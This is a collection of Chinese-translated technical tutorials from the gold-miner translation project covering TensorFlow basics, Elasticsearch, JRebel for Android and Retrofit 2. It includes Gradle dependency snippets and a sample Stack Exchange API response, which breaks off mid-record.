[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/get-started-tensorflow.md ================================================ > * 原文地址:[Getting started with TensorFlow —— IBM](https://www.ibm.com/developerworks/opensource/library/cc-get-started-tensorflow/index.html?social_post=1166248547&fst=Learn) > * 原文作者:[Vinay Rao](https://developer.ibm.com/author/vinay.rao/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/get-started-tensorflow.md](https://github.com/xitu/gold-miner/blob/master/TODO/get-started-tensorflow.md) > * 译者: > * 校对者: # IBM 工程师的 TensorFlow 入门指北 在机器学习的世界中, __tensor__ 是指数学模型中用来描述神经网络的多维数组。换句话说,一个 tensor 通常是一个广义上的高维矩阵或者向量。 通过使用矩阵的秩来显示维数的简单方法,tensor 能够将复杂的 **n** 维向量和超形状表示成 **n** 维数组。Tensor 有两个属性:数据类型和形状。 ## 关于 TensorFlow TensorFlow 是一个开源的深度学习框架,它基于 Apache 2.0 许可发布于 2015年底。从那时起,它就成为世界上最广泛采用的深度学习框架之一(由 Github 上基于它的项目数量得出)。 TensorFlow 源自 Google DistBelief,它是由 Google Brain 项目组开发并所有的深度学习系统。Google 从零开始设计它,用于分布式处理,并在 Google 产品数据中心中以最佳模式运行在定制的应用专用集成电路(ASIC)上,这种集成电路通常也被叫做 Tensor Processing Unit(TPU)。这种设计能够开发出有效的深度学习应用。 这个框架能够运行在 CPU、 GPU 或者 TPU 上,可以在服务器、台式机或者移动设备上使用。开发者可以在不同的操作系统和平台上部署 TensorFlow,而且不论是在本地环境还是云上。许多开发者会认为,相比类似的深度学习框架(比如 Torch 和 Theano,它们也支持硬件加速技术并被学术界广泛使用),TensorFlow 能够更好地支持分布式处理,并且在商业应用中拥有更高灵活性和性能表现。 深度学习神经网络通常是由多个层组成。它们使用多维数组在层之间传递数据或执行操作。一个 tensor 在神经网络的各层之间“流动”(Flow)。因此,命名为 TensorFlow。 TensorFlow 使用的主要编程语言是 Python。为 `C`++、 Java® 语言和 Go 提供了可用但不保证稳定性的应用程序接口(API),同样也有很多为 `C`#,Haskell, Julia,Rust,Ruby,Scala,R 甚至是 PHP 设计的第三方的绑定。Google 近来发布了一个为移动设备优化的 TensorFlow-Lite 库,以使 TensorFlow 应用程序能在 Android 上运行。 这个教程提供了 TensorFlow 系统的概述,包括框架的优点,支持的平台,安装的注意事项以及支持的语言和绑定。 ## TensorFlow 的优势 TensorFlow 为开发者提供了很多的好处: *   计算流图模型。TensorFlow使用名为有向图的数据流图来表示计算模型。这让开发者能够简易直接的使用原生工具查看神经网络层间发生了什么,并能够交互式地调整参数和配置来完善他们的神经网络结构。 *   简单易用的 API。Python 开发者既可以使用 TensorFlow 原生的底层 API 接口或者核心 API 来开发他们自己的模型,也可以使用高级 API 库来构建内置模型。TensorFlow 有很多内建和社区的库,它也可以覆盖更高级的深度学习框架比如 Keras 上充当一个高级 API。 *   灵活的架构。使用 TensorFlow 的一个主要有点是它具有模块化,可扩展和灵活的设计。开发者只需更改很少的一些代码,就可以轻松地 CPU, GPU 或 TPU 处理器之间转换模型。尽管最初是为了大规模分布式训练和推测而设计的,开发者也可以使用 TensorFlow 来尝试其他机器学习模型和现有模型的系统优化。 *   分布式处理。Google 从零设计了 TensorFlow,目的是让它能在定制的 ASIC TPU 上分布式运行。另外,TensorFlow 可以在多种 NVIDIA GPU 内核上运行。开发人员能够充分利用基于 Intel Xeon 和 Xeon Phi 的 X64 CPU 架构或者基于 ARM64 的CPU 架构的优势。TensorFlow 可以在多架构和多核心系统上像在分布式进程中一样运行,它能将计算密集型进程当做生产任务移交。开发者能够创建 TensorFlow 集群。并将这些计算流图分发到这些集群中进行训练。Tensor 可以同步或异步执行分布式训练,既可以在流图内部,也可以跨流图进行,并且可以在网络计算节点间共享内存中的公共数据。 *   运行性能。性能通常是一个有争议的话题,但是大部分开发者都明白,任何深度学习框架都依赖于底层硬件,才能达到最优化运行,以低能耗实现高性能。通常,任何框架在其原生开发平台都应该实现最佳优化。TensorFlow 在 Google TPU 上表现良好,但更令人高兴的是,不管是在服务器和台式机上,还是在嵌入式系统和移动设备上,它都能在各种平台上达到高性能。该框架同样还支持了各种编程语言,数量令人惊讶。尽管另一个框架在原生环境(比如 在 IBM 平台上运行的 IBM Watson®)上运行有时可能会胜过 TensorFlow,但它仍然是开发人员的最爱,因为人工只能项目会跨越平台和编程语言,并以多样的终端应用为设计目标,并且所有这些都需要生成一致的结果。 ## TensorFlow 应用 本节将介绍 TensorFlow 擅长的应用程序。显然,由于 Google 使用其专有版本的 TensorFlow 开发文本和语音搜索,语言翻译,和图像搜索的应用程序,因此 TensorFlow 的主要优势在于分类和推测。例如,Google 在 TensorFlow 中应用 RankBrain(Google 的搜索结果排名引擎)。 TensorFlow 可用于优化语音识别和语音合成,比如区分多重声音或者在高噪背景下过滤噪声提取语音,在文本生成语音过程中模拟语音模式以获得更自然的语音。另外,它能够处理不同语言中的句型结构以生成更好的翻译效果。它也同样能被用于图像和视频识别以及对象、地标、人物、情绪、或活动的分类。这带来了图像和视频搜索的重大改进。 因为其灵活,可扩展和模块化的设计,TensorFlow 不会限制开发人员使用特定的模型或者应用。开发者使用 TensorFlow 不仅实现了机器学习和深度学习算法,还实现了统计和通用计算模型。有关应用程序和社区模型的更多信息请查看[使用 TensorFlow](https://www.tensorflow.org/about/uses)。 ## 哪些平台支持 TensorFlow? 各种只要支持 Python 开发环境的平台就能支持 TensorFlow。但是,要接入一个受支持的 GPU,TensorFlow 需要依赖其他的软件,比如 NVIDIA CUDA 工具包和 cuDNN。为 TensorFlow(1.3 版本)预构建的 Python 二进制文件(当前发布)可用于下表中列出的操作系统。 ![支持 TensorFlow 的操作系统](https://www.ibm.com/developerworks/opensource/library/cc-get-started-tensorflow/image1.png) **注意:** 在 Ubuntu 或 Windows 上获得 GPU 加速支持需要 CUDA 工具包 8.0 和 cuDNN 6 或更高版本,以及一块能够兼容这个版本的工具包和 CUDA Computer Capability 3.0 或更高版本的 GPU 卡。macOS 上 1.2 版本以上的 TensorFlow 不再支持 GPU 加速。 详情请参考[安装 TensorFlow](https://www.tensorflow.org/install)。 ### 从源代码构建 TensorFlow 官方使用 Bazel 在 Ubuntu 和 macOS 构建 TensorFlow。在 Windows 系统下使用 Windows 版本 Bazel 或者 Windows 版 CMake 构建现在还在试验过程中,查看[ 从源代码构建 TensorFlow ](https://www.tensorflow.org/install/install_sources)。 IBM 在 S822LC 高性能计算系统上使用 NVIDIA NVLink 连接线连接两块 POWER8 处理器和四块 NVIDIA Tesla P100 GPU 以使 PowerAI 适合进行深度学习。开发者能够在运行 OpenPOWER Linux 的 IBM Power System 上构建 TensorFlow。要了解更多信息可以查看[深度学习在 OpenPOWER 上: 在 OpenPOWER Linux 系统上构建 TensorFlow ](https://www.ibm.com/developerworks/community/blogs/fe313521-2e95-46f2-817d-44a4f27eba32/entry/Building_TensorFlow_on_OpenPOWER_Linux_Systems?lang=en)。 很多社区或供应商支持的构建程序也可用。 ## TensorFlow 怎样使用硬件加速? 为了支持在更广泛的处理器和非处理器架构上使用 TensorFlow,Google 为供应商提供了一个新的抽象接口,实现用于加速线性代数(XLA)的新硬件后端,XLA 是一个专为线性代数计算的特定领域编译器,它可以用于优化 TensorFlow 计算过程。 ### CPU 当前,由于 XLA 还是实验性的,TensorFlow 还是在 X64 和 ARM64 CPU 架构上受支持,被测试和构建。在 CPU 架构上,TensorFlow 通过使用矢量处理扩展来实现加速线性代数计算。 以 Intel CPU 为中心的 HPC 体系结构(如 Intel Xeon 和 Xeon Phi 系列)通过使用 Intel 数学核心函数库来实现深度神经网络基元,从而获得加速线性代数计算。Intel 也提供了拥有优化线性代数库的预构建的 Python 优化发行版。 其他供应商,例如 Synopsys 和 CEVA,使用映射和分析器程序转换 TensorFlow 流图和生成优化代码在他们的平台上运行。开发者在使用这种途径时需要移植,分析并调整结果代码。 ### GPU TensorFlow 支持特定的 NVIDIA GPU ,这些 GPU 能够兼容相关版本的 CUDA 工具包并符合相关的性能标准。尽管一些社区努力在 OpenCL 1.2 兼容的 GPU (比如 AMD 的)上运行 TensorFlow,OpenCL 支持仍是一个正在计划建设的项目, ### TPU 据 Google 称,基于 TPU 的流图比 CPU 或 GPU 上执行性能好 15-30 倍,并且非常节能。Google 将 TPU 设计成一个外部加速器,可以插入串行 ATA 硬盘插槽,并通过 PCI Express Gen3 x16 接口连接主机,从而实现高带宽吞吐。 Google TPU 是矩阵处理器而不是矢量处理器,并且神经网络不需要高精度的数学运算,而是使用大规模并行的低精度整数运算。毫不奇怪,矩阵处理器(MXU)结构具有 65,536 8-bit 乘法器,并通过脉动阵列结构波动推动数据,就像通过心脏的血液一样。 这种设计是一种复杂的指令集计算(CISC)结构,虽然是单线程的,但允许单个高级指令触发 MXU 上的多个低级操作,每次循环可能会执行 128,000 条指令,而不用访问内存。 因此,与 GPU 阵列或者多指令集、多数据 CPU HPC 集群相比,TPU 可以获得巨大的性能提升和能效比率。通过评估每个周期中 TensorFlow 流图中每个预备执行节点,TPU 相比其他架构,大大减少了深度学习神经网络训练时间, ## TensorFlow 安装注意事项 一般来说,TensorFlow 可以在任何支持 64 位 Python 开发环境的平台上运行。这个环境足以训练和测试大多数简单的例子和教程。然而,大多数专家认为,对于研究或专业开发,强烈推荐使用 HPC 平台。 ### 处理器和内存性能要求 由于深度学习计算量非常大,因此具有向量扩展的高速多核 CPU 以及一个或多个具有高端 CUDA 支持的 GPU 是深度学习的普通标准。大多数专家还建议要注意 CPU 和 GPU 缓存,因为内存传输操作的能源消耗大,对性能不利。 深度学习的性能表现有两种模式需要考虑: *   开发模式。通常情况下,在这种模式下,训练时间、性能表现、样本、数据集大小都会影响处理性能和内存要求。这些元素决定着神经网络计算性能和训练时间的极限。 *   应用模式。通常,在受训过的神经网络处理过程中,处理性能和内存决定了分类或推测的实时性能。卷积神经网络需要更多的低精度计算能力,而全连接神经网络需要更多的内存。 ### 虚拟机选项 用于深度学习的虚拟机(VMS)现在最适用于 CPU 为中心多核心可用的硬件体系。因为主机操作系统控制了 CPU, GPU 这些物理设备,所以在虚拟机上实现加速很复杂。有两种已知方法: *   GPU 挂载:    *   只能在 Type-1 管理程序上运行,例如 Citrix Xen, VMware ESXi, Kernel Virtual Machine, 和 IBM Power。    *   挂载的开销会根据 CPU,芯片组,管理程序和操作系统的特定组合而变化。一般来说,最新一代硬件的开销要小得多。    *   给定的管理程序-操作系统组合支持特定的NVIDIA GPU。 *   GPU 虚拟化:    *   支持所有的主流 GPU 供应商,比如 NVIDIA(GRID),AMD(MxGPU)和 Intel(GVT-G)。    *   在特定的新 GPU 上支持最新版本的 OpenCL(TensorFlow 没有官方支持 OpenCL)。    *   在特定的新 GPU 上最新版本的 NVIDIA GRID 支持 CUDA 和 OpenCL。 ### Docker 安装选项 在 Docker 容器或者 Kubernetes 容器集群系统上运行 TensorFlow 有很多优势。TensorFlow 可以将流图作为执行任务分发给 TensorFlow 服务器集群,而这些服务集群其实是映射到容器集群的。使用 Docker 的附加优势是 TensorFlow 服务器可以访问物理 GPU 核心(设备)并为其分配特定的任务。 开发者还可以通过安装社区构建的 Docker 镜像,在 PowerAI OpenPOWER 服务器上的 Kubernetes 容器集群系统中部署 TensorFlow,如“[在 OpenPOWER 服务器上使用 PowerAI 的 Kubernetes 系统进行 TensorFlow 训练 ](https://developer.ibm.com/linuxonpower/2017/04/21/tensorflow-training-kubernetes-openpower-servers-using-powerai)”。 ### 云安装选项 TensorFlow 云安装有几种选项: *   Google Cloud TPU。对于研究人员来说,Google 有一个Alpha 版本的 TensorFlow Research Cloud,可以提供在线的 TPU 实例。 *   Google Cloud。Google 在一些特定的区域提供了自定义的 TensorFlow 机器实例,可以访问一个,四个或者八个 NVIDIA GPU 设备。 *   IBM Cloud 数据科学与管理。IBM 提供了一个附带 Jupyter Notebook 和 Spark 的 Python 环境。TensorFlow 已经预安装了。 *   Amazon Web Services (AWS)。Amazon 提供 AWS Deep Learning Amazon 机器镜像(AMIs),可选 NVIDIA GPU 支持,可在各种 Amazon Elastic Compute Cloud 实例上运行。TensorFlow, Keras 和其他的深度学习框架都已经预装。AMI 可以支持多达 64 个 CPU 内核和 8 个 NVIDIA GPU(K80)。 *   Azure。可以在使用 Azure 容器服务的 Docker 实例上或者一个 Ubuntu 服务器上设置 TensorFlow。Azure 机器实例可以支持 24 个 CPU内核和多达 4 个 NVIDIA GPU(M60 或 K80)。 *   IBM Cloud Kubernetes 集群。IBM Clound 上的 Kubernetes 集群 可以运行 TensorFlow。一个社区构建的 Docker 镜像可用。POWERAI 服务器提供 GPU 支持。 ## TensorFlow 支持那些编程语言? 尽管 Google 在 `C`++ 中实现了 TensorFlow 核心代码,但是它的主要编程语言是 Python,而且这个 API 是最完整的,最强大的,最易用的。更多有关信息,请参阅 [Python API 文档](https://www.tensorflow.org/api_docs/python)。Python API 还具有最广泛的文档和可扩展性选项以及广泛的社区支持。 除了 Python 之外,TensorFlow还支持以下语言的 API,但不保证稳定性: *   `C`++。TensorFlow `C`++ API 是下一个最强大的 API,可用于构建和执行数据流图以及 TensorFlow 服务。更多有关 `C`++ API 的信息,请参阅[C++ API](https://www.tensorflow.org/api_guides/cc/guide)。有关 `C`++ 服务 API 的更多信息,请参阅 [TensorFlow 服务 API 参考](https://www.tensorflow.org/api_docs/serving)。 *   Java 语言。尽管这个 API 是实验性的,但最新发布的 Android Oreo 支持 TensorFlow 可能会使这个 API 更加突出。更多有关信息,请参考[tensorflow.org](https://www.tensorflow.org/api_docs/java/reference/org/tensorflow/package-summary)。 *   Go。这个 API 是对 Google Go 语言高度实验性的绑定。更多有关信息,请参考 [package tensorflow](https://godoc.org/github.com/tensorflow/tensorflow/tensorflow/go)。 ### 第三方绑定 Google 已经定义了一个外部函数接口(FFI)来支持其他语言绑定。该接口使用 `C` API 暴露了 TensorFlow `C`++ 核心函数。FFI 是新的,可能不会被现有的第三方绑定使用。 一项对 GitHub 的调查显示,有以下语言的社区或供应商开发的第三方 TensorFlow 绑定 `C`#,Haskell, Julia,Node.js,PHP,R,Ruby,Rust 和 Scala。 ### Android 现在有一个经过优化的新 TensorFlow-Lite Android 库来运行 TensorFlow 应用程序。更多有关信息,请参考 [What's New in Android: O Developer Preview 2 & More](https://android-developers.googleblog.com/2017/05/whats-new-in-android-o-developer.html)。 ## 使用 Keras 简化 TensorFlow Keras 的层和模型完全兼容纯粹的 TensorFlow tensor。因此,Keras 为 TensorFlow 提供了一个很好的模型定义插件。开发者甚至可以将 Keras 与 其他 TensorFlow 库一起使用。有关详细信息,请参考 [使用 Keras 作为 TensorFlow 的简要接口: 教程](https://blog.keras.io/keras-as-a-simplified-interface-to-tensorflow-tutorial.html)。 ## 结论 TensorFlow 只是许多用于机器学习的开源软件库之一。但是,根据它的 GitHub 项目数量,它已经成为被最广泛采用的深度学习框架之一。在本教程中,您了解了 TensorFlow 的概述,了解了哪些平台支持它,并查看了安装注意事项。 如果你准备使用 TensorFlow 查看一些示例,请查看 [机器学习算法加快训练过程](https://developer.ibm.com/code/journey/accelerate-training-of-machine-learning-algorithms/) 和 [使用 PowerAI notebooks 进行图像识别训练](https://developer.ibm.com/code/journey/image-recognition-training-powerai-notebooks/)中的开发者代码模式。 * * * #### 资源下载 * [此篇文章的 PDF 文件](cc-get-started-tensorflow-pdf.pdf) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/getting-started-with-elasticsearch.md ================================================ > * 原文地址:[Getting Started](https://www.elastic.co/guide/en/elasticsearch/reference/current/getting-started.html#getting-started) > * 原文作者:[elastic](https://www.elastic.co) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/getting-started-with-elastic.md](https://github.com/xitu/gold-miner/blob/master/TODO/getting-started-with-elastic.md) > * 译者:[code4j](https://github.com/rpgmakervx) > * 校对者:[Starriers](https://github.com/Starriers) # Elasticsearch 简介 Elasticsearch 是一个高可扩展的开源全文搜索分析引擎,可以用它近实时的来存储、搜索和分析大量的数据。通常我们使用它作为底层引擎技术给拥有复杂搜索功能需求的应用提供支持。 以下是 Elasticsearch 的几个适用场景: - 你经营一家网店,用户可以搜索你出售的商品。此时,你可以用 Elasticsearch 存储全部商品的目录和存货,然后给用户提供搜索和自动提示功能. - 你想要收集日志或交易数据用于分析趋势、统计数据、概要和异常。此时,你可以使用 Logstash(Elasticsearch/Logstash/Kibana 技术栈的一部分)来收集,聚合,解析数据,然后将其存入 ES。一旦数据在 ES 里了,你就可以用搜索和聚合挖掘任何你感兴趣的数据。 - 你有一个可以让懂行的顾客制定类似“我对这个东西挺感兴趣的,当这个东西的价格在下个月之前降到X块钱了通知我”规则的价格预警平台。此时,你可以抹去卖主的价格,存入ES中,使用逆向搜索能力(Percolator),根据用户的查询来匹配价格的变动,一旦价格匹配,给用户推送提醒. - 你有分析和商业策略的需求,想快速的在大数据(有上十亿的记录)里研究,分析,做可视化,特定的询问。此时,你可以用ES存储你的数据,然后用 Kibana(Elasticsearch/Logstash/Kibana 技术栈的一部分)来定制可以让你的重要数据可视化的仪表盘。不仅如此,你可以用ES的聚合功能,根据你的数据作复杂的商业策略查询. 接下来的教程中会指引你从启动 elasticsearch 到基本的操作比如建立索引,查询和数据更改,了解内部机制。最后你将知道它是什么以及它内部的原理。最后你将知道它是什么以及它内部的原理,希望能启发您使用 elasticsearch 构建更复杂的搜索应用或数据挖掘应用. --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/getting-started-with-jrebel-for-android.md ================================================ >* 原文链接 : [Getting started with JRebel for Android](https://medium.com/@shelajev/getting-started-with-jrebel-for-android-426633cde736#.dtldka9ua) * 原文作者 : [Oleg Šelajev](https://medium.com/@shelajev) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [edvardhua](https://github.com/edvardHua) * 校对者: [DeadLion](https://github.com/DeadLion), [circlelove](https://github.com/circlelove) # 怎样用 JRebel 启动 Android 只要你的项目相对较小,开发Android应用的用户体验还是很棒的。然而随着项目功能的增加,你会发现构建项目的时间也会随着增长。这种情况会导致你的大部分时间都花在如何更快的构建项目,而不是为应用增加更多的价值。 网上有很多教你如何加快Gradle构建速度的教程。有一些很好的文章,譬如“[Making Gradle builds faster](http://zeroturnaround.com/rebellabs/making-gradle-builds-faster/)”。 通过这些方法我们可以节省几秒甚至几分钟的构建时间,但是仍然存在一些构建上的瓶颈。举个例子,基于注释的依赖注入使得项目架构清晰,但是这对项目构建时间是有很大影响的。 但是你可以尝试一下使用[JRebel for Android](https://zeroturnaround.com/software/jrebel-for-android/?utm_source=medium&utm_medium=getting-started-jra-post&utm_campaign=medium)。每次改动代码后不需要重新安装新的 apk。而是在安装完一次应用后,通过增量包传递到设备或者模拟器上,并且能够在应用运行时进行更新。这个想法(热部署)已经在JRebel的java开发工具上面使用超过8年的时间。 拿Google IO 2015 app来看看如何使用JRebel for Android,以及它能为我们节省多少宝贵的时间。 ### 安装 JRebel for Android [JRebel for Android](https://zeroturnaround.com/software/jrebel-for-android/?utm_source=medium&utm_medium=getting-started-jra-post&utm_campaign=medium) 是一个Android Studio的插件,你可以直接点击IDE的 _Plugins > Browse Repositories_ 键入“JRebel for Android”来搜索和安装插件。 ![](http://ww4.sinaimg.cn/large/a490147fgw1f3y7px3ajhj20hs0fzmzm.jpg) 如果因为某些原因你无法访问 maven 的公有仓库,你可以直接在 JetBrians 官网下载,然后通过 _Plugins > Install plugin from disk…_ 来安装插件。 当你安装完插件后,你需要重启Android Studio,在重启之后,你需要提供你的姓名和邮箱来得到JRebel for Android的21天免费使用。 ### 用 JRebel for Android 来运行你的应用程序 安装完插件后,只需要点击 _Run with JRebel for Android_ 按钮,它会检测这次代码与上次是否有改动,然后决定是否构建一个新的apk。_Run with JRebel for Android_ 其实和Android Studio中的 _Run_ 操作是一样的。所以有同样的运行流程,首先需要你选择一个设备,然后再构建apk安装到那台设备上去。 为了更新代码和资源,JRebel for Android 需要处理项目 classes,并嵌入一个代理应用。JRebel for Android只会运行在调试模式下,所以对于正式发布的版本来说是没有影响的。另外,使用该插件也不需要你在项目中做任何改动。想要知道更多JRebel for Android的细节,请看[under the hood post](http://zeroturnaround.com/rebellabs/under-the-hood-of-jrebel-for-android/)。(译者注:InfoQ的一篇介绍JRebel for Android的[文章](http://www.infoq.com/cn/news/2016/01/jrebel-for-android-stable?appinstall=0)写的不错。) 所以在Google IO 2015应用上点击 _Run with JRebel for Android_ 将会得到如下的结果: ![](http://ww1.sinaimg.cn/large/a490147fgw1f3y7qkkn2jj20hs0b60ud.jpg) ### 在JRebel for Android应用代码修改 _Apply changes_ 按钮是使用 JRebel for Android的关键,它将会做最少的工作来将你代码的改动更新到你的设备上去。如果你没有使用 _Run with JRebel for Android_ 来部署应用的话,_Apply changes_ 将会帮你做这部分的工作。 现在让我们在应用上做一个简单的功能改动。针对于GoogleIO中每一个举行的子会场你都可以发送反馈问卷,我们给这个问卷添加多一个输入框输入你的姓名,当你完成反馈的时候会弹出Toast来感谢你的反馈。 **步骤一:** 在 _session_feedback_fragment.xml_ 中添加一个EditTex组件。 ![](http://ww3.sinaimg.cn/large/a490147fgw1f3y7qzqpp4j20ja0zaq5o.jpg) **步骤2:** 调整间距 ![](http://ww1.sinaimg.cn/large/a490147fgw1f3y7rcrfolj20jk0ziacq.jpg) **步骤3:** 添加提示 ![](http://ww1.sinaimg.cn/large/a490147fgw1f3y7romijnj20j80zgdij.jpg) 这些改动现在都是在同一个页面上,每一次按下 _Apply change_ 按钮后,JRebel for Android都会调用[Activity.recreate()](https://developer.android.com/reference/android/app/Activity.html#recreate%28%29)。在最顶部的activity将会同样的回调方法,就像设备从纵向切换到横向那样。 到目前为止我们都还只是改动resource文件,下面我们来改动Java代码。 **步骤4:** 在 _SessionFeedbackFragment.sumbitFeedback()_ 方法中弹出Toast EditText nameInput = (EditText) getView().findViewById(R.id.name_input); Toast.makeText(getActivity(), "Thanks for the feedback " + nameInput.getEditableText().toString(), Toast.LENGTH_SHORT).show(); ![](http://ww4.sinaimg.cn/large/a490147fgw1f3y7s07qioj20je0zi0wr.jpg) ### 应用重启动 vs Activity重启动 并不是所有的改动都会触发调用[Activity.recreate()](https://developer.android.com/reference/android/app/Activity.html#recreate%28%29)的。如果你在AndroidManifest改动了一些内容,一个新的 apk 将会被构建并增加安装。在这种情况下,应用将会重新启动。或者你替换或改动了已经被实现的superclass或者interfaces的时候也会导致应用重启动。下面有一份完整的对照表: ![](http://ww1.sinaimg.cn/large/a490147fgw1f3y7sb4pmdj20gq07kabk.jpg) ### 为什么我要尝试使用JRebel for Android 下面我列出了最有说服力的理由,来让你使用它。 * 可以快速看到自己代码改动的效果。 * 可以有时间打磨素完美的UI,而不用浪费时间在构建上。 * 不需要在项目中做任何改动来支持 JRebel for Android。 * 在调试程序的同时还能更新代码和资源文件。没错,[JRebel for Android](https://zeroturnaround.com/software/jrebel-for-android/?utm_source=medium&utm_medium=getting-started-jra-post&utm_campaign=medium)支持调试器的全部特性。 ================================================ FILE: TODO/getting-started-with-retrofit.md ================================================ > * 原文地址:[Get Started With Retrofit 2 HTTP Client](https://code.tutsplus.com/tutorials/getting-started-with-retrofit-2--cms-27792) * 原文作者:[Chike Mgbemena](https://tutsplus.com/authors/chike-mgbemena) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Zhiw](https://github.com/Zhiw) * 校对者:[PhxNirvana](https://github.com/phxnirvana),[Draftbk](https://github.com/draftbk) # 网络请求框架 Retrofit 2 使用入门 ![Final product image](https://cms-assets.tutsplus.com/uploads/users/1499/posts/27792/final_image/gt5.JPG) 你将要创造什么 ## Retrofit 是什么? [Retrofit](https://square.github.io/retrofit/) 是一个用于 Android 和 Java 平台的类型安全的网络请求框架。Retrofit 通过将 API 抽象成 Java 接口而让我们连接到 REST web 服务变得很轻松。在这个教程里,我会向你介绍如何使用这个 Android 上最受欢迎和经常推荐的网络请求库之一。 这个强大的库可以很简单的把返回的 JSON 或者 XML 数据解析成简单 Java 对象(POJO)。`GET`, `POST`, `PUT`, `PATCH`, 和 `DELETE` 这些请求都可以执行。 和大多数开源软件一样,Retrofit 也是建立在一些强大的库和工具基础上的。Retrofit 背后用了同一个开发团队的 [OkHttp](http://square.github.io/okhttp/) 来处理网络请求。而且 Retrofit 不再内置 JSON 转换器来将 JSON 装换为 Java 对象。取而代之的是提供以下 JSON 转换器来处理: - Gson: `com.squareup.retrofit:converter-gson` - Jackson: `com.squareup.retrofit:converter-jackson` - Moshi: `com.squareup.retrofit:converter-moshi` 对于 [Protocol Buffers](https://developers.google.com/protocol-buffers/), Retrofit 提供了: - Protobuf: `com.squareup.retrofit2:converter-protobuf` - Wire: `com.squareup.retrofit2:converter-wire` 对于 XML 解析, Retrofit 提供了: - Simple Framework: `com.squareup.retrofit2:converter-simpleframework` ## 那么我们为什么要用 Retrofit 呢? 开发一个自己的用于请求 REST API 的类型安全的网络请求库是一件很痛苦的事情:你需要处理很多功能,比如建立连接,处理缓存,重连接失败请求,线程,响应数据的解析,错误处理等等。从另一方面来说,Retrofit 是一个有优秀的计划,文档和测试并且经过考验的库,它会帮你节省你的宝贵时间以及不让你那么头痛。 在这个教程里,我会构建一个简单的应用,根据 [Stack Exchange](https://api.stackexchange.com/docs) API 查询上面最近的回答,从而来教你如何使用 Retrofit 2 来处理网络请求。我们会指明 `/answers` 这样一个路径,然后拼接到 base URL [https://api.stackexchange.com/2.2](https://api.stackexchange.com/2.2)/ 上执行一个 `GET` 请求——然后我们会得到响应结果并且显示到 RecyclerView 上。我还会向你展示如何利用 RxJava 来轻松地管理状态和数据流。 ## 1.创建一个 Android Studio 工程 打开 Android Studio,创建一个新工程,然后创建一个命名为 `MainActivity` 的空白 Activity。 ![Create a new empty activity](https://cms-assets.tutsplus.com/uploads/users/1499/posts/27792/image/a2.png) ## 2. 添加依赖 创建一个新的工程后,在你的 `build.gradle` 文件里面添加以下依赖。这些依赖包括 RecyclerView,Retrofit 库,还有 Google 出品的将 JSON 装换为 POJO(简单 Java 对象)的 Gson 库,以及 Retrofit 的 Gson。 // Retrofit compile 'com.squareup.retrofit2:retrofit:2.1.0' // JSON Parsing compile 'com.google.code.gson:gson:2.6.1' compile 'com.squareup.retrofit2:converter-gson:2.1.0' // recyclerview compile 'com.android.support:recyclerview-v7:25.0.1' 不要忘记同步(sync)工程来下载这些库。 ## 3. 添加网络权限 要执行网络操作,我们需要在应用的清单文件 **AndroidManifest.xml** 里面声明网络权限。 ## 4.自动生成 Java 对象 我们利用一个非常有用的工具来帮我们将返回的 JSON 数据自动生成 Java 对象:[jsonschema2pojo](http://www.jsonschema2pojo.org/)。 ### 取得示例的 JSON 数据 复制粘贴 [https://api.stackexchange.com/2.2/answers?order=desc&sort=activity&site=stackoverflow](https://api.stackexchange.com/2.2/answers?order=desc&sort=activity&site=stackoverflow) 到你的浏览器地址栏,或者如果你熟悉的话,你可以使用 [Postman](https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?hl=en) 这个工具。然后点击 **Enter** —— 它将会根据那个地址执行一个 GET 请求,你会看到返回的是一个 JSON 对象数组,下面的截图是使用了 Postman 的 JSON 响应结果。 ![API response to GET request](https://cms-assets.tutsplus.com/uploads/users/769/posts/27792/image/1.jpg) ``` { "items": [ { "owner": { "reputation": 1, "user_id": 6540831, "user_type": "registered", "profile_image": "https://www.gravatar.com/avatar/6a468ce8a8ff42c17923a6009ab77723?s=128&d=identicon&r=PG&f=1", "display_name": "bobolafrite", "link": "http://stackoverflow.com/users/6540831/bobolafrite" }, "is_accepted": false, "score": 0, "last_activity_date": 1480862271, "creation_date": 1480862271, "answer_id": 